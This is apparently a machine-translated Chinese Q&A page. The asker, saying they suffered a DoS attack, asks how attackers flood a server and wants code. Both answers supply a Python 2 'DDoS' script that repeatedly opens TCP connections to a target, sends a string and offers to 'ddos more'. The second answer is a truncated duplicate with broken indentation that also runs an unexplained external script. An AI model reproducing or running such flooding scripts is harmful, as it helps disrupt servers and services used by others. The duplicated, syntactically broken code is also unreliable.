Question

好吧，我最近受到了DoS的攻击，需要了解一些事情。

我知道如果有人在HTTP服务器上发起攻击，他或她会发送HTTP请求以使连接没有超时，并使服务器正常工作。我的问题是攻击互联网协议地址的DoS攻击者。他们会发送什么样的数据包？我想看看它是如何在代码中完成的。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target", 80)) #Hopefully port 80 is an open port
s.send("Some sort of packet that would request the server to do 'work'")

在那个问题之后，如果所有端口都关闭，攻击者会如何攻击你？（防火墙）他们会改为UDP协议，然后通过那里发送吗？因为仅使用连接数据包（s.connect）不足以进行良好的DoS攻击。

我的问题非常多。 DoS'ers如何很好地填充IP服务器上的连接，为什么？如果我感到困惑，请告诉我原因。

Answer 1

import time, socket, os, sys, string

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="127.0.0.1"
port=80
message="+---------------------------+"
conn=100
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

发现此代码来自：Getting error when my python ddos script running

修正了一些错误..

Answer 2

print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, 80))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed]         |")
    print ( "|[DDoS Attack Engaged]       |")
    ddos.close()
for i in range(1, conn):
    dos()
 print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
     else:
        os.system(curdir+"Deqmain.py")

 HOPE THIS HELPS!

Python - 将请求发送到Internet协议

2 个答案: